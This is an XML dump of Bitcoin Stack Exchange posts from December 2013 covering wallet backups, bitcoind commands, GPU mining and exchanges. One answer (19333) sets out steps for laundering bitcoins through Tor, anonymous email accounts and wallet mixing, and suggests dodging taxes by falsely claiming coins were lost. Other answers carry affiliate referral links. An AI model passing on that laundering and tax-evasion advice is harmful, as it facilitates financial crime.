  <row Id="19294" PostTypeId="2" ParentId="19255" CreationDate="2013-12-24T10:39:20.907" Score="0" Body="&lt;p&gt;If you want to know what to mine (there is much much more than bitcoin and litecoin), have a look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wheretomine.com/&quot; rel=&quot;nofollow&quot;&gt;http://wheretomine.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://litecoinminingcalculator.com/&quot; rel=&quot;nofollow&quot;&gt;http://litecoinminingcalculator.com/&lt;/a&gt; (for detailed info about litecoins.)&lt;/p&gt;&#xA;" OwnerUserId="11323" LastActivityDate="2013-12-24T10:39:20.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19295" PostTypeId="1" CreationDate="2013-12-24T11:47:02.220" Score="1" ViewCount="112" Body="&lt;p&gt;If I backup a wallet what exactly gets backed up? All the bit coin addresses associated with every transfer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so does that imply if I &quot;lose&quot; a bit coin address that my final balance will be incorrect (since one's balance is calculated as the sum of transfers IN less the sum of transfers OUT)&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2013-12-24T15:18:01.960" Title="What is backed up from the wallet" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19296" PostTypeId="1" CreationDate="2013-12-24T12:18:00.750" Score="2" ViewCount="237" Body="&lt;p&gt;If I lose my wallet (let's say it is hosted with a company that went bust) can I recreate that same wallet with another provider using only the private/public key pair I had with my original wallet?&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2014-03-24T14:57:06.743" Title="Can I recreate a wallet using on my priv/pub keys only?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19297" PostTypeId="2" ParentId="5319" CreationDate="2013-12-24T13:54:13.400" Score="5" Body="&lt;p&gt;He used &lt;a href=&quot;https://archive.org/details/BitcoinAPeer-to-PeerElectronicCashSystem&quot;&gt;satoshin@gmx.com (from original Bitcoin whitepaper)&lt;/a&gt; and &lt;a href=&quot;http://blog.dustintrammell.com/2013/11/26/i-am-not-satoshi/&quot;&gt;satoshi@vistomail.com (from email logs)&lt;/a&gt;. gmx.com is a free email service that may or may not have had location based restrictions on registration at the time. vistomail.com is an email service from anonymousspeech, the domain registrar proxy he used to register bitcoin.org.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2013-12-24T13:54:13.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19298" PostTypeId="2" ParentId="19296" CreationDate="2013-12-24T13:54:57.723" Score="2" Body="&lt;p&gt;Yes, you can create a wallet with your key and will have access to the coins at the key's address.&#xA;Since a wallet typically contains many keys (=bitcoin addresses), however, you will not be able to reconstruct the whole wallet file.&lt;/p&gt;&#xA;" OwnerUserId="11336" LastActivityDate="2013-12-24T13:54:57.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19299" PostTypeId="2" ParentId="19271" CreationDate="2013-12-24T14:14:24.540" Score="5" Body="&lt;p&gt;I think it is safe to assume that the creator once had full control of the blockchain. And at the beginning, there probably were times when someone had 51% hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, those people would have no incentive to perform an attack, so my guess would be that it has not happened yet.&lt;/p&gt;&#xA;" OwnerDisplayName="user11339" LastEditorUserId="5406" LastEditDate="2015-06-17T16:11:44.170" LastActivityDate="2015-06-17T16:11:44.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19300" PostTypeId="2" ParentId="19295" CreationDate="2013-12-24T15:18:01.960" Score="2" Body="&lt;p&gt;Transactions are stored in the block chain, so you never lose them.  However, if you lose the private key associated with an unspent output, then you can never spend it.  So it is important to always back up your private keys (the public key and bitcoin address can be derived from just the private key).  When you import a private key into a new wallet, the wallet will scan the block chain looking for transactions that match the associated bitcoin address.  These transactions will then appear in your wallet without any further action on your part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some wallets use discrete private keys, which means you must backup the wallet each time a new private key is generated.  For example, Bitcoin-Qt keeps a pool of 100 new private keys, so you only need to backup the wallet after every 100 send requests (since change is returned to a new private key).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deterministic wallets only need to be backed up once since they generate new keys using a stored seed.  If you need to restore the wallet, the private keys can be regenerated from this seed.  Electrum is an example of a deterministic wallet.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-24T15:18:01.960" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19301" PostTypeId="1" CreationDate="2013-12-24T16:19:39.137" Score="0" ViewCount="72" Body="&lt;p&gt;i found this site: &lt;a href=&quot;http://coinmarketprice.com&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketprice.com&lt;/a&gt;&#xA;Its pretty easy to navigate i like it.&#xA;Are the list there true for market caps of the coins and are the live prices for bitcoin and other altcoins are latest data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="11348" LastActivityDate="2013-12-24T18:04:21.293" Title="Is the date here true for live bitcoin and altcoin prices?" Tags="|litecoin|buy-bitcoins|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19302" PostTypeId="1" AcceptedAnswerId="19318" CreationDate="2013-12-24T16:22:50.693" Score="2" ViewCount="321" Body="&lt;p&gt;I just installed bitcoind and primecoind on my ubuntu server. I was wondering where can i get all the command options for these daemons. The --help list does not display everything on primecoind as i dont even see the option &quot;listaccounts&quot; there. How else can i get a list of these options? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-26T10:13:04.007" Title="Where can I get a list of command options for bitcoind and primcoind?" Tags="|bitcoind|primecoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19303" PostTypeId="1" CreationDate="2013-12-24T16:38:06.243" Score="1" ViewCount="240" Body="&lt;p&gt;I bought a small amount of BTC. They are sitting in an online wallet. I would like to send them to my blockchaininfo wallet. Is this the process? &#xA;1. Enter the amount to send.&#xA;2. Copy/paste the receiving address.&#xA;3. Send. &#xA;Do I need to do anything with private keys at the sending or receiving end of the process? &#xA;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="11347" LastEditorUserId="5406" LastEditDate="2014-09-24T19:53:15.103" LastActivityDate="2018-07-31T20:36:49.490" Title="How to send bitcoins" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19304" PostTypeId="1" AcceptedAnswerId="19327" CreationDate="2013-12-24T17:30:38.067" Score="1" ViewCount="1112" Body="&lt;p&gt;Can I get some fees on others transactions coming through my PC (creating blocks or whatever)? Transit-fees I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get some tiny bits of newly mined BTCs just on keep running bitcoind.exe in the background in 2013 and later?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other profits of keeping the full bitcoin database instead of using lite thin clients like MultiBit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad side of MultiBit is you can not set the full zero fee. Official bitcoin wallet does.&lt;/p&gt;&#xA;" OwnerUserId="11351" LastEditorUserId="5406" LastEditDate="2016-01-20T21:13:50.990" LastActivityDate="2016-01-20T21:13:50.990" Title="What are the benefits of running a bitcoin daemon?" Tags="|bitcoind|nodes|transit-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19305" PostTypeId="2" ParentId="19301" CreationDate="2013-12-24T17:57:13.123" Score="1" Body="&lt;p&gt;I don't think the prices are live and up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this one out and compare them&#xA;&lt;a href=&quot;http://bitcoincharts.com/markets/currency/USD.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/currency/USD.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's real time incl. BTCchina and other non-USD markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, if you need multi-coins prices, the USD price should be averaged somehow and you probably use the right tool to track them all.&lt;/p&gt;&#xA;" OwnerUserId="11351" LastEditorUserId="11351" LastEditDate="2013-12-24T18:04:21.293" LastActivityDate="2013-12-24T18:04:21.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19306" PostTypeId="1" CreationDate="2013-12-24T18:10:27.547" Score="6" ViewCount="874" Body="&lt;p&gt;What is Mastercoin? What is its raison d'être? Have there been any real world examples of its use?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-12-29T16:17:36.967" Title="What is Mastercoin? Why does it exist?" Tags="|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19308" PostTypeId="1" CreationDate="2013-12-24T18:32:05.687" Score="3" ViewCount="45187" Body="&lt;p&gt;I can't get the BFGminer to work on my Windows 7 machine. I've followed the instructions on &lt;a href=&quot;https://www.btcguild.com/index.php?page=support&quot; rel=&quot;nofollow&quot;&gt;https://www.btcguild.com/index.php?page=support&lt;/a&gt;. But when ever I run bfgminer.exe I get the following message at the top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for devices; press 'M+' to add, or 'Q' to quit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use my GPU, as I don't have any FPGA or ASIC devices yet. Can anyone help out?&lt;/p&gt;&#xA;" OwnerUserId="11357" LastEditorUserId="1891" LastEditDate="2013-12-26T03:39:09.430" LastActivityDate="2022-10-13T02:16:02.203" Title="BFGminer running on GPU on Windows 7" Tags="|gpu|bfgminer|" AnswerCount="5" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19309" PostTypeId="2" ParentId="19302" CreationDate="2013-12-24T18:47:25.303" Score="4" Body="&lt;p&gt;&lt;code&gt;bitcoind help&lt;/code&gt; lists the RPC commands. &lt;code&gt;listaccounts&lt;/code&gt; is a RPC command. &lt;code&gt;bitcoind --help&lt;/code&gt; lists the commandline options to the program itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;You can also use &lt;code&gt;bitcoind help [RPC command]&lt;/code&gt; for a brief description.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2013-12-26T10:13:04.007" LastActivityDate="2013-12-26T10:13:04.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19311" PostTypeId="1" CreationDate="2013-12-24T19:16:57.133" Score="3" ViewCount="337" Body="&lt;p&gt;I've tried several bitcoin sites which accept credit cards, but they didn't accept my bank's credit card (miicard require bank verification and ICBC is not on the list), so where can I buy bitcoin from a reliable exchange with an ICBC credit card?&lt;/p&gt;&#xA;" OwnerUserId="11359" LastEditorUserId="132" LastEditDate="2013-12-25T17:35:23.997" LastActivityDate="2015-03-31T00:37:59.733" Title="Where to buy non scam bitcoin with ICBC credit card?" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19312" PostTypeId="1" AcceptedAnswerId="19314" CreationDate="2013-12-24T19:19:49.647" Score="1" ViewCount="176" Body="&lt;p&gt;I can't seem to find the &lt;code&gt;bitcoind&lt;/code&gt; binaries for Mac--just the bitcoin-qt GUI application. Can someone give me a link, please?&lt;/p&gt;&#xA;" OwnerUserId="11360" LastActivityDate="2013-12-24T20:07:47.003" Title="Can't download bitcoind mac" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19313" PostTypeId="2" ParentId="19308" CreationDate="2013-12-24T19:25:22.160" Score="2" Body="&lt;p&gt;CGMiner has removed GPU support, but BFGMiner has not. You can use an older version of CGMiner (i.e., v3.7.2) or GUIMiner or RPCMiner.A GPU is still useful for mining alternate coins such as litecoin, especially if you have a high-end AMD card.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="7530" LastEditDate="2014-01-23T08:26:03.810" LastActivityDate="2014-01-23T08:26:03.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19314" PostTypeId="2" ParentId="19312" CreationDate="2013-12-24T20:07:47.003" Score="0" Body="&lt;p&gt;Download git and clone it from the repository. you can find instructions here:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2013-12-24T20:07:47.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19316" PostTypeId="2" ParentId="18612" CreationDate="2013-12-24T20:50:51.403" Score="0" Body="&lt;p&gt;A alternative to both Cloudhashing.com and cex.io is Butterfly labs, currently at the price they are offering at butterfly labs is cheaper than both cex.io and Cloudhashing.  However it is a preorder, I think they will be launching in Feburary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cur.lv/5dlmz&quot; rel=&quot;nofollow&quot; title=&quot;Butterfly Labs Cloud Hashing&quot;&gt;Butterfly Labs Cloud Hashing, $10.83/GHS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11362" LastActivityDate="2013-12-24T20:50:51.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19317" PostTypeId="2" ParentId="19303" CreationDate="2013-12-24T21:00:36.527" Score="2" Body="&lt;p&gt;Your steps sound just fine. You won't need to worry about the private keys at the back end as your online wallet stores these keys for you (and uses them to create the transaction to move the coins from one wallet to another).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully it goes without saying that you should store your blockchain.info wallet private keys somewhere as well just in case you somehow lose access to blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-12-24T21:00:36.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19318" PostTypeId="2" ParentId="19302" CreationDate="2013-12-24T21:03:10.227" Score="3" Body="&lt;p&gt;All of the commands are well documented online at &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;primecoind is a fork of bitcoind (although it might be via litecoind) and the commands for most of these coin daemons is the same. primecoind has a couple of options specifically for the generation of coins, which isn't really supported in most other coin daemons.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-12-24T21:03:10.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19319" PostTypeId="2" ParentId="18106" CreationDate="2013-12-24T21:04:12.790" Score="0" Body="&lt;p&gt;What you are doing is going to waste money. Bitcoin mining with video cards is unprofitable because of the cost of power. What I would recommend doing is how I am setting up. I am sure there might be a better way, but it's the easiest way I learned how to start to make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yea, I just setup my mining setup through &lt;a href=&quot;https://cex.io/r/0/Sunbasher/0/&quot; rel=&quot;nofollow&quot; title=&quot;cex.io&quot;&gt;cex.io&lt;/a&gt;. All I did was setup a &lt;a href=&quot;http://cur.lv/5hf1h&quot; rel=&quot;nofollow&quot; title=&quot;Coinbase&quot;&gt;coinbase.com&lt;/a&gt; account and bought 0.3 bitcoins for $200, and now I have a buy order in for 5&amp;nbsp;GHash/s at .06 Bitcoin per GHash/s. No hassle, and I don't have to worry about the electricity bill. Still, I have to pay a maintenance fee, but I do have the benefit of all the extra merge mining I get from it.&lt;/p&gt;&#xA;" OwnerUserId="11362" LastEditorUserId="1405" LastEditDate="2013-12-29T19:59:57.480" LastActivityDate="2013-12-29T19:59:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19320" PostTypeId="2" ParentId="19255" CreationDate="2013-12-24T21:06:42.993" Score="2" Body="&lt;p&gt;Nowadays, there are custom miners for Bitcoin. These use customised hardware (ASICs) and thus GPU mining is not profitable. However, this custom hardware does not exist for Litecoin and most other altcoins (based on scrypt). Thus, you might still be able to make money GPU mining Litecoin this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have customised hardware, forget about Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other contributors are correct though - doing this on a laptop is probably not a good idea anyway, but you'll still make more doing Litecoin than Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-12-24T21:06:42.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19321" PostTypeId="1" CreationDate="2013-12-24T21:23:04.450" Score="1" ViewCount="1816" Body="&lt;p&gt;Cgminer opens up, stays for like a second or two and then Windows gives me an error message. Mining (bitcoins?) without --scrypt works fine but with the scrypt parameter, I get the message seen in the window below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwVle.png&quot; alt=&quot;cgminer with scrypt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings for the .bat file are also in the image and I think they've been configured correctly. I tried uninstalling, installing different drivers. Read somewhere that the new ones don't work (tried with the latest drivers already) so I installed Catalyst 12.2 Beta (GPU is a Radeon HD 6670, Driver Version: 9.10.8.0 according to device manager) and it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help? :(&lt;/p&gt;&#xA;" OwnerUserId="11306" LastActivityDate="2013-12-24T22:58:02.320" Title="When launching cgminer with scrypt parameters, Windows gives an error message. Why does this occur?" Tags="|litecoin|cgminer|scrypt|dogecoin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19322" PostTypeId="2" ParentId="19311" CreationDate="2013-12-24T21:26:02.353" Score="2" Body="&lt;p&gt;You are likely to have trouble finding a place to buy Bitcoin with a credit card. A credit card transaction can often be charged back, in which case the seller has no way to recover the  bitcoins. Honest sellers may not want to take this risk, meaning they are probably far outnumbered by scammers.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-24T21:26:02.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19324" PostTypeId="1" CreationDate="2013-12-24T21:59:04.877" Score="1" ViewCount="979" Body="&lt;p&gt;Is there a list of states that the &lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow&quot;&gt;kraken&lt;/a&gt; exchange is currently doing business in?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-01-30T05:15:36.997" Title="What states is Kraken doing business in" Tags="|exchanges|regulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19325" PostTypeId="2" ParentId="19321" CreationDate="2013-12-24T22:58:02.320" Score="1" Body="&lt;p&gt;I've seen this problem a few times, it could be just about anything unfortunately.  I would try changing your thread concurrency, and intensity values.  Some people have also recommended different drivers.  &lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-12-24T22:58:02.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19326" PostTypeId="2" ParentId="19274" CreationDate="2013-12-24T23:01:43.627" Score="0" Body="&lt;p&gt;I was able to get this working with some outside help (I paid him with Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinmonitor.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmonitor.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It monitors the block chain for payments to an address you provide (I use a cold storage address so it is never exposed to hackers). When a payment comes in it sends the details and then I can process the data received.&lt;/p&gt;&#xA;" OwnerUserId="11364" LastActivityDate="2013-12-24T23:01:43.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19327" PostTypeId="2" ParentId="19304" CreationDate="2013-12-24T23:04:24.080" Score="2" Body="&lt;p&gt;You will not get anything money wise from running bitcoind, however the Bitcoin network depends on people running it for verifications.  Its providing a service to the rest of the bitcoin community.  I run it because I participate in the bitcoin community and want to give something back.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the &quot;decentralized&quot; part of the bitcoin protocol works.  People like you and I run the daemon and it verifies everyone elses transactions, the more people who run bitcoind the more secure the network becomes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your other questions, I can't speak to speculation and this website will suspend your posts if you ask opinion or theoritical questions.  &lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-12-24T23:04:24.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19328" PostTypeId="2" ParentId="18612" CreationDate="2013-12-24T23:15:05.150" Score="1" Body="&lt;p&gt;You can buy some shares in the 500TH-mine project: &lt;a href=&quot;https://picostocks.com/stocks/view/19&quot; rel=&quot;nofollow&quot;&gt;https://picostocks.com/stocks/view/19&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is much lower than at cex.io currently (cex.io - 0.0604, 500TH - 0.04)&lt;/p&gt;&#xA;" OwnerUserId="10938" LastActivityDate="2013-12-24T23:15:05.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19330" PostTypeId="1" CreationDate="2013-12-25T01:04:28.653" Score="-1" ViewCount="140" Body="&lt;p&gt;If major Internet connections are broken, what happens to BitCoin transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the Internet connection is broken between three major areas (North America, Europa, and Asia) for a couple of hours, and these three regions become isolated to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we still do bitcoin transactions inside these three regions?&lt;/p&gt;&#xA;" OwnerUserId="11366" LastEditorUserId="1405" LastEditDate="2013-12-26T14:13:20.423" LastActivityDate="2013-12-26T14:13:20.423" Title="How to do Bitcoin transactions, if major Internet connections are broken?" Tags="|transactions|network|offline|" AnswerCount="2" CommentCount="0" ClosedDate="2014-01-01T21:18:27.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="19331" PostTypeId="1" AcceptedAnswerId="19351" CreationDate="2013-12-25T01:50:35.347" Score="6" ViewCount="1146" Body="&lt;p&gt;By ridiculous I mean something absolutely absurd. 1 million+ addresses. Like say if Amazon had started to accept payments, how could they possibly keep up? Bitcoind probably can't keep up? How would I go about solving this? How does SatoshiDice or Blockchain deal with this?&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-25T16:23:10.993" Title="How to handle a ridiculous amount of receiving addresses?" Tags="|transactions|wallet|bitcoind|address|receiving|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19332" PostTypeId="1" CreationDate="2013-12-25T01:53:56.813" Score="1" ViewCount="301" Body="&lt;p&gt;I have already identified a way to make an &lt;a href=&quot;http://en.wikipedia.org/wiki/Secure_Digital&quot; rel=&quot;nofollow noreferrer&quot;&gt;SD card&lt;/a&gt; truly read-only &lt;a href=&quot;http://hackaday.com/2013/11/12/keep-your-sd-cards-data-safe-with-the-sd-locker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;on HackaDay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's consider this situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A third party have used &lt;a href=&quot;http://en.wikipedia.org/wiki/Dd_%28Unix%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;dd&lt;/a&gt; to transfer the Linux image to an SD card&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://hackaday.com/2013/11/12/keep-your-sd-cards-data-safe-with-the-sd-locker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PERM_WRITE_PROTECT&lt;/a&gt; bit is set and can not be changed&lt;/li&gt;&#xA;&lt;li&gt;There is a hash of the image that will be checked on booting from the card&lt;/li&gt;&#xA;&lt;li&gt;The developer have signed the hash with PGP and this is clearly stated online&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The purpose of this card is to be able to boot a computer you already own and to know that what was intended to boot is actually running. Could &lt;a href=&quot;http://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;uEFI&lt;/a&gt; or BIOS in a computer be compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security should enable the user to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate a paper wallet&lt;/li&gt;&#xA;&lt;li&gt;Print the wallet with a USB connected printer&lt;/li&gt;&#xA;&lt;li&gt;(Other actions needing high security precautions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To do this with confidence, both the SD card and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9112/how-can-i-verify-the-the-pgp-signature-of-bitaddress-org&quot;&gt;the code&lt;/a&gt; to generate the keys must be verified (hash and PGP signatures) by the user. What am I missing? Are there any loopholes in this combination of hardware and software?&lt;/p&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-27T13:10:32.137" Title="Making a read-only Linux SD card, where are the security loopholes? (offline key generation and signing)" Tags="|linux|paper-wallet|offline|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19333" PostTypeId="2" ParentId="3066" CreationDate="2013-12-25T03:51:29.460" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download Torr web browser took kit&lt;/li&gt;&#xA;&lt;li&gt;get onto internet via Torr&lt;/li&gt;&#xA;&lt;li&gt;Via torr, open a new hushmail account, lets call this hush1, use random name info. &lt;/li&gt;&#xA;&lt;li&gt;use that new email to open a new wallet at blockchain.info&lt;/li&gt;&#xA;&lt;li&gt;Log back onto hushmail and create a second hushmail account, call this hush 2, use random info to create this account as well. &lt;/li&gt;&#xA;&lt;li&gt;Use that to create a second blockchain.info wallet &lt;/li&gt;&#xA;&lt;li&gt;using the wallets at blockchain info is a problem due to email verification of attempts to log in,  if you have time use a Yubikey as second verification. If you don't have time then just use the email verification of each log in attempt. &lt;/li&gt;&#xA;&lt;li&gt;Empty your wallet from mt gox into Hush1,&lt;/li&gt;&#xA;&lt;li&gt;pay the fee to mix and send to Hush 2&lt;/li&gt;&#xA;&lt;li&gt;Pay the fee again, and mix and send to bob.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Draw this on a peice of paper to see it and understand the flow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be little or no way to tell for sure anything except that you got rid of your bitcoins.  There would be no way to tell who ended up with them, or even tell that you own the account called hush2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bob is in the clear, if he created his wallet anonymously like a paper wallet from bitaddress.org then he is totally clean.  You however have to understand that someone (mt gox) knows you had some bitcoins and that you sent them off into the world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use the hush2 account to open an account at BTC-E and trade your bitcoins almost totally anonymously.  ( I have checked this out, and it seems possible, they don't have much in the way of verification of identity, but they will log your IP address ( torr takes care of this) and they will know your contact info like email, (Hushmail takes care of this) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Yubikey is a good tool to use for second verification,  I have one on order to try this set up, but have not done it yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;YOU ALSO MUST PRINT OUT A PAPER COPY OF YOUR WALLET FROM YOUR ACCOUNTS, JUST AS A BACKUP, BUT NOW YOU HAVE TO HIDE THAT PAPER, AND NOT SOMEWHERE OBVIOUS LIKE YOUR SAFE.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can keep it pretty safe,  if you are willing to try. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't need to be a bob,  you can just clean your coins to yourself this way. you end up with clean coins in an anonymous account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt Gox is the weak link,  they are the ones in this senario that need your info.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(torr hides who you are, and your IP)&#xA;(hushmail gains you access to open accounts via anonymous email) &#xA;(remember not to pay for your hushmail accounts, use  the free service so they can't track who you are through you payment for a premium service) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;by using Torr to create anonymous emial addresses, then using those emails to create anonymous wallets, then using the mix features at blockchain.info, you have pretty well covered your tracks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it alot of work?? yes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it actually better than pretending you threw away 7 million dollars worth of bitcoins on a hard drive at the landfill???  certainly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what % of &quot;stolen&quot; bitcoins are not really stolen???  sounds to me like you can avoid some taxes pretty easy by claiming you lost your coins,  then someday just take a vacation somewhere sunny and show up and claim your wallet and never come back.    7 million would be a pretty long vacation.   &lt;/p&gt;&#xA;" OwnerUserId="11374" LastActivityDate="2013-12-25T03:51:29.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
